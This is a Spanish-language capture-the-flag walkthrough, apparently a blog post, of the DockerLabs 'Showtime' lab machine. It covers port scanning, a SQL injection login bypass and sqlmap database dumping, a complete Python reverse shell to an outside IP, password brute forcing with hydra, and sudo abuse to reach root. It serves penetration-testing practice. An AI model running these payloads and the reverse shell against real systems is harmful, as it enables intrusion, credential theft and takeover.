Showtime , DockerLabs
En este reto de DockerLabs practicamos.
- Scan de puertos
- Listado de ficheros y derectorios
- Burp intruder
- sqlmap para el volcado de bbdd
- Terminal de python
Herramientas y recursos
- nmap
- feroxbuster
- payloads sqli
- sqlmap
- revshell
Reconocimiento y enumeracion
Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.
1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX showtime 172.17.0.2
Como vemos en el reporte disponemos del http 80 y del ssh en el 22
El fuzzing de ficheros y directorios no aporta interesante , asi que revisamos la web.
Lo unico intersante es el panel de login y nos hace pensar en algun tipo de inyeccion lo primero es ver si da algun tipo de error al meterle comilla’ o algun tipo de payload.
Es posible la inyecion sql.
Despues de trastear un rato con burpsuite (asi me suelto un poco) y su intruder probando payloads encuentro uno que me funciona.
1
'OR '' = '
Con ese traga pero no obtengo nada , lo que me indica que me falta el usuario asi que probamos con sqlmap.
Con sqlmap lo primero es listar las dbs.
1
sqlmap -u "http://172.17.0.2/login_page/index.php" --forms --batch --db
Como vemos nos encuentra la bbdd user ahora procedemos a que nos muestre las tablas de la bbdd que nos interesa que es users.
1
sqlmap -u "http://172.17.0.2/login_page/index.php" --forms --batch -D users --tables
Ahora debemos mostrar el contenido o los entries de la tabla.
1
sqlmap -u "http://172.17.0.2/login_page/index.php" --forms --batch -D users -T usuarios --dump
Con el usuario joe hacemos login y nos encontramos una terminal de python que nos permite ejecutar comandos.
Infiltracion
Sin mas demora nos mandamos una revshell y realizamos el tratamiento de la tty.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import socket
import subprocess
import os
def reverse_shell():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.0.112', 1188))
while True:
command = s.recv(1024).decode('utf-8')
if command.lower() == 'exit':
break
output = subprocess.run(command, shell=True, capture_output=True)
s.send(output.stdout + output.stderr)
s.close()
if __name__ == "__main__":
reverse_shell()
Una vez recibida procedemos como siempre sudo -l no aporta nada pero con find tengo suerte.
1
find / -type f -perm 644 2>/dev/null | grep tmp
Revisamos el fichero que estaba oculto y parecen ser una lista de contraseñas que pueden ser utiles tanto para joe como para luciano.
Primero convertimos todas en minusculas y posteriomente eliminamos la lineas vacias y la del mensaje.
1
2
awk '{print tolower($0)}' .hidden_text.txt > minusculas.txt
sed '1,3d' minusculas.txt > limpio
Movimientos laterales
Con el fichero limpio podemos empezar a realizar fuerza bruta ya sea en local o con hydra.Yo lo hice con hydra obteniendo la pass de joe.
Hacemos login y vemos que con sudo -l tenemos un regalito.
Consultamos searchbins y obtenemos como realizar el movimiento.
1
sudo -u luciano /usr/bin/posh
Ya somos luciano ahora a ser root.
Ejecutando sudo -l nos indica que podemos hacer uso de un script que esta en su home.
Como vemos es una revshell pero apunta a otra direccion asi que o modificamos el script o reconfiguramos nuestra red local. Vamos por lo primero
Yo no caliento con la revshell y prefiero darle permisos suid a bash. Podrias modificar el contenido con sed por ejemplo o con tr creo recordar.
Me creo un fichero con el contenido
1
2
3
4
5
6
7
8
9
touch script
echo '#!/bin/bash
>
> bash -p' > script
mv script script.sh
sudo /bin/bash /home/luciano/script.sh
Otra mas , un saludo y gracias por leer..
Comments powered by Disqus.